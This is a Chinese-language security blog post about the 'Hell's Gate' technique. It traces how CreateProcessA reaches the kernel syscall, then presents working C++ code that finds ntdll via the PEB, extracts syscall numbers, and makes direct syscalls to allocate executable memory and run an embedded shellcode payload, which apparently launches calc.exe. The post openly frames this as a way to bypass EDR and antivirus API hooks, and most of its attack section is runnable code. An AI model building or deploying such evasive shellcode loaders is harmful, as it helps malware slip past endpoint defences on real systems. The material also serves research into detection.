前段时间讲了天堂之门,让我们可以在32位的程序调用64位的代码,从而实现混淆。

地狱之门技术则是从API调用的角度来绕过防御方的检测。

公众号:https://mp.weixin.qq.com/s/hEqRUsOleA9sB5p1f79ojg

Win API

以CreateProcess举例子

image-20260717100802800

最后都会走到内核层的NtCreateUserProcess。写个demo调试一下(Windows 11, amd64, release)

#include <windows.h>
#include <iostream>
#include <string>
#include <vector>

int main()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Command line to run. /K keeps the cmd window open; change to /C to run and close.
std::string cmd = "cmd.exe /K \"echo Hello from child process & pause\"";
// CreateProcess requires a writable buffer for the command line.
std::vector<char> cmdLine(cmd.begin(), cmd.end());
cmdLine.push_back('\0');

if (!CreateProcessA(
NULL, // lpApplicationName
cmdLine.data(), // lpCommandLine
NULL, // lpProcessAttributes
NULL, // lpThreadAttributes
FALSE, // bInheritHandles
0, // dwCreationFlags
NULL, // lpEnvironment
NULL, // lpCurrentDirectory
&si, // lpStartupInfo
&pi)) // lpProcessInformation
{
DWORD err = GetLastError();
std::cerr << "CreateProcess failed, error=" << err << "\n";
return 1;
}

std::cout << "Started child process, PID=" << pi.dwProcessId << "\n";

// Wait for the child process to exit.
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode = 0;
if (GetExitCodeProcess(pi.hProcess, &exitCode))
std::cout << "Child exited with code " << exitCode << "\n";

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;
}

静态分析

在导入表里面导入了KERNEL32!CreateProcessA

image-20260717102851347

image-20260717102927646

看看Kernel32.dll是如何实现的,貌似还是一层转发的嵌套(图片左侧第一层)

image-20260717103445405

动态分析

现在结合动态分析看一下

image-20260717103729525

到的是KERNEL32!CreateProcessAStub,继续跟着看看

image-20260717103846684

到的是KERNELBASE!CreateProcessA,并且显而易见还有下一层

image-20260717103931833

最后终于来到疑似终点的地方(看上面的示意图你就会发现还远远没有达到)

image-20260717104023603

切回静态分析你会发现一个和有意思的一点,这点也是 《深入解析Windows操作系统》(1.2.14)提到过的:多数的ANSI最后都会在windows底层转为 Unicode 处理,也就是说 大部分的 xxxxA最后都是xxxxW处理,例如这里的CreateProcessInternalA变为CreateProcessInternalW。更准确的描述是Windows NT 内核和大部分 Win32 子系统内部使用 Unicode(UTF-16),而 A 版本 API 通常负责将 ANSI 字符串转换为 Unicode,然后调用对应的 W 实现。

image-20260717104308771

image-20260717110244682

最后在CreateProcessInternalW+0x2913成功抓到,分析得到最后进入ntdll.dll

image-20260717110452343

发现核心逻辑

image-20260717110704974

不知道你还是否记得前文写 SSDT hook 的时候:我们根据调用找到ntoskrl中的最终函数。现在我们想根据SSN调用号找到对应的内核函数,其中SSN就是在KeServiceDescriptorTable[SSN],例如之前文章中的

开始第0号函数的地址计算:

offset = SSDT->tableBase[0] >> 4 = 0x27fe004>>4 = 0x27fe000

funcAddr = SSDT->tableBase+offset

​ = SSDT->tableBase[DWORD(offset/4)]

​ = 0xfffff805162c79f0+0x27fe000 = 0xfffff805165477f0

那么我们这里就要从EAX的值开始算,是0xC0号,但是运行过后会出现变化。

由于是重复的步骤,我就不再测试了,对于不同的windows版本可以在如下网页找到[2]

https://j00ru.vexillium.org/syscalls/nt/64/

不过好在大多数ntoskrl中的函数是相同名称的

image-20260717114106966

结论

CreateUserProcess为例子,从Ring3到Ring0的调用如下

KERNEL32!CreateProcessA
KERNELBASE!CreateProcessA
KERNELBASE!CreateProcessInternalA
KERNELBASE!CreateProcessInternalW
ntdll!NtCreateUserProcess
----------------syscall------------
ntoskrl!NtCreateUserProcess

image-20260717175406611

Hell’s Gate技巧

显然,EDR/杀软会通过hook这些API从而检测进程是否安全,例如经典的三段式加载shellcode:VirutallocEx+RtlMemoryCopy+CreateThread就会被标记为高风险。

最开始的EDR只会hook ntdll.dll这种Ring3级别的API 钩子。EDR 向每个进程注入一个 DLL,在敏感的 ntdll.dll函数的开头放置跳板,拦截每次调用以在放行前检查参数。[3]

image-20260717124627817

当然,只需要手动加载ntdll清理映射就行了。不过还是很麻烦,显而易见简单的方法就是直接写系统调用。

image-20260717124702749

Hell’s Gate通常有以下的步骤

  1. 从LDR找到ntdll及其导出表
  2. 从导出表对内容进行哈希来查找想要直接调用的函数,也可以加上哈希值检测从而验证函数代码的完整性。
  3. 得到 syscall 的SSN
  4. 进入Hell’s Gate的汇编,填入EAX,最后进行syscall

1. LDR + EAT 遍历

PVOID getBaseAddrFromPEB(const wchar_t* dllName) {
PPEB pPeb = reinterpret_cast<PPEB>(__readgsqword(0x60));
PPEB_LDR_DATA ldr = pPeb->Ldr;

LIST_ENTRY* list = &ldr->InMemoryOrderModuleList;
PVOID ntdllBaseAddr = nullptr;

for (LIST_ENTRY* entry = list->Flink;entry != list;entry = entry->Flink)
{

PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr(reinterpret_cast<UNICODE_STRING*>(module->Reserved4)->Buffer, L"ntdll.dll")) {
ntdllBaseAddr = module->DllBase;
break;
}
}

if (ntdllBaseAddr == nullptr) {
std::cout << "[-] Not found ntdll.dll\n";
return nullptr;
}
return ntdllBaseAddr;
}

依旧首先从PEB的双向链表定位到 ntdll,接着解析内存中的PE文件,得到函数地址。我是通过函数名匹配的,你也可以自定义哈希函数匹配。

PVOID getFuncFromDLL(const char* funcName, ULONG_PTR dllBaseAddr = 0) {
PVOID result = nullptr;
if (dllBaseAddr == 0)
return result;
PIMAGE_DOS_HEADER dosHead = reinterpret_cast<PIMAGE_DOS_HEADER>(dllBaseAddr);
PIMAGE_NT_HEADERS64 ntHead = reinterpret_cast<PIMAGE_NT_HEADERS64>(dllBaseAddr + dosHead->e_lfanew);
DWORD exportRVA = ntHead->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
DWORD exportSize = ntHead->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.Size;

PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(dllBaseAddr + exportRVA);
DWORD* names = reinterpret_cast<DWORD*>(dllBaseAddr + exportDir->AddressOfNames);
WORD* nameOrigns = reinterpret_cast<WORD*>(dllBaseAddr + exportDir->AddressOfNameOrdinals);
for (size_t i = 0; i < exportDir->NumberOfNames; i++)
{
char* name = reinterpret_cast<char*>(dllBaseAddr + names[i]);
if (!strcmp(funcName, name)) {
DWORD* funcs = reinterpret_cast<DWORD*>(dllBaseAddr + exportDir->AddressOfFunctions);
result = reinterpret_cast<PVOID>(funcs[nameOrigns[i]] + dllBaseAddr);
break;
}
}
return result;
}

2. 获得SSN

按道理来说得校验的,我直接按地址取了

bool checkFuncAsmCode(PVOID funcStart, std::vector<BYTE> flag)
{
try
{
for (size_t i = 0;i < flag.size();i++)
{
if (reinterpret_cast<BYTE*>(funcStart)[i] != flag[i]) {
return false;
}
}
return true;
}
catch (const std::exception& e)
{
std::cerr << e.what() << '\n';
return false;
}
}

///// main 函数中
auto NtAllocateVirtualMemoryAddr = getFuncFromDLL("NtAllocateVirtualMemory", reinterpret_cast<ULONG_PTR>(ntdllBase));
printf("[+]NtAllocateVirtualMemory at: 0x%p\n", NtAllocateVirtualMemoryAddr);
if (!checkFuncAsmCode(NtAllocateVirtualMemoryAddr, { 0x4C, 0x8B, 0xD1, 0xB8 })) {
printf("[x]Invalid NtAllocateVirtualMemory value\n");
return 0;
}
DWORD SSN_NtAllocateVirtualMemory = *reinterpret_cast<BYTE*>((DWORD64)NtAllocateVirtualMemoryAddr + 4);
printf("NtAllocateVirtualMemoryAddr SSN: 0x%hX ", SSN_NtAllocateVirtualMemory);

3. 进行地狱之门调用

这里以最简单的shellcode加载器为例子

int main() {
auto ntdllBase = getBaseAddrFromPEB(L"ntdll.dll");
printf("[+]ntdll.dll at: 0x%p\n", ntdllBase);

///////////// NtAllocateVirtualMemoryAddr
auto NtAllocateVirtualMemoryAddr = getFuncFromDLL("NtAllocateVirtualMemory", reinterpret_cast<ULONG_PTR>(ntdllBase));
printf("[+]NtAllocateVirtualMemory at: 0x%p\n", NtAllocateVirtualMemoryAddr);
if (!checkFuncAsmCode(NtAllocateVirtualMemoryAddr, { 0x4C, 0x8B, 0xD1, 0xB8 })) {
printf("[x]Invalid NtAllocateVirtualMemory value\n");
return 0;
}
DWORD SSN_NtAllocateVirtualMemory = *reinterpret_cast<BYTE*>((DWORD64)NtAllocateVirtualMemoryAddr + 4);
printf("NtAllocateVirtualMemoryAddr SSN: 0x%hX ", SSN_NtAllocateVirtualMemory);

///////////// NtProtectVirtualMemoryAddr
auto NtProtectVirtualMemoryAddr = getFuncFromDLL("NtProtectVirtualMemory", reinterpret_cast<ULONG_PTR>(ntdllBase));
printf("[+]NtProtectVirtualMemory at: 0x%p\n", NtProtectVirtualMemoryAddr);
if (!checkFuncAsmCode(NtProtectVirtualMemoryAddr, { 0x4C, 0x8B, 0xD1, 0xB8 })) {
printf("[x]Invalid NtProtectVirtualMemory value\n");
return 0;
}
DWORD SSN_NtProtectVirtualMemory = *reinterpret_cast<BYTE*>((DWORD64)NtProtectVirtualMemoryAddr + 4);
printf("NtProtectVirtualMemoryAddr SSN: 0x%hX\n", SSN_NtProtectVirtualMemory);

///////////// NtCreateThreadExAddr
auto NtCreateThreadExAddr = getFuncFromDLL("NtCreateThreadEx", reinterpret_cast<ULONG_PTR>(ntdllBase));
printf("[+]NtCreateThreadEx at: 0x%p\n", NtCreateThreadExAddr);
if (!checkFuncAsmCode(NtCreateThreadExAddr, { 0x4C, 0x8B, 0xD1, 0xB8 })) {
printf("[x]Invalid NtCreateThreadEx value\n");
return 0;
}
DWORD SSN_NtCreateThreadEx = *reinterpret_cast<BYTE*>((DWORD64)NtCreateThreadExAddr + 4);
printf("NtCreateThreadExAddr SSN: 0x%hX ", SSN_NtCreateThreadEx);

///////////// NtWaitForSingleObjectAddr
auto NtWaitForSingleObjectAddr = getFuncFromDLL("NtWaitForSingleObject", reinterpret_cast<ULONG_PTR>(ntdllBase));
printf("[+]NtWaitForSingleObject at: 0x%p\n", NtWaitForSingleObjectAddr);
if (!checkFuncAsmCode(NtWaitForSingleObjectAddr, { 0x4C, 0x8B, 0xD1, 0xB8 })) {
printf("[x]Invalid NtWaitForSingleObject value\n");
return 0;
}
DWORD SSN_NtWaitForSingleObject = *reinterpret_cast<BYTE*>((DWORD64)NtWaitForSingleObjectAddr + 4);
printf("NtWaitForSingleObjectAddr SSN: 0x%hX\n", SSN_NtWaitForSingleObject);


NTSTATUS status = 0x00000000;
unsigned char payload[] =
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

PVOID lpAddr = nullptr;
SIZE_T payloadLen = sizeof(payload);
SetupSSN(SSN_NtAllocateVirtualMemory);
status = HellsGate(-1, (uintptr_t)&lpAddr, 0, (uintptr_t)&payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status)) {
printf("[x] %hx -> Failed: 0x%lX\n", SSN_NtAllocateVirtualMemory, status);
return 0;
}
printf("[+]Shellcode space: 0x%p\n", lpAddr);
RtlCopyMemory(lpAddr, payload, sizeof(payload));
printf("[+]Payload Delivered to space\n");

HANDLE hThread = INVALID_HANDLE_VALUE;
SetupSSN(SSN_NtCreateThreadEx);
status = HellsGate((uintptr_t)&hThread, 0x1FFFFF, NULL, -1, (uintptr_t)lpAddr, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status)) {
printf("[x] NtCreateThreadEx|%hx -> Failed: 0x%lX\n", SSN_NtCreateThreadEx, status);
return 0;
}
printf("[+]Thread created\n");

LARGE_INTEGER Timeout;
Timeout.QuadPart = -100000000;
SetupSSN(SSN_NtWaitForSingleObject);
status = HellsGate((uintptr_t)hThread, FALSE, (uintptr_t)&Timeout);
if (!NT_SUCCESS(status)) {
printf("[x] NtWaitForSingleObject|%hx -> Failed: 0x%lX\n", SSN_NtWaitForSingleObject, status);
return 0;
}
printf("[+]Wait for thread end\n");
return 0;
}

image-20260720195210022

最后推荐一个项目:SysWhispers4 [5]

https://github.com/JoasASantos/SysWhispers4

参考

[1] windows rookit防护-内核Hook Part 1 https://mp.weixin.qq.com/s/tg6ah6UD7q8wDCrWP7-vMQ

[2] Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/11 and Server) https://j00ru.vexillium.org/syscalls/nt/64/

[3] Direct Syscalls vs Indirect Syscalls https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls

[4] Exploring Hell’s Gate https://redops.at/en/blog/exploring-hells-gate

[5] JoasASantos/SysWhispers4 https://github.com/JoasASantos/SysWhispers4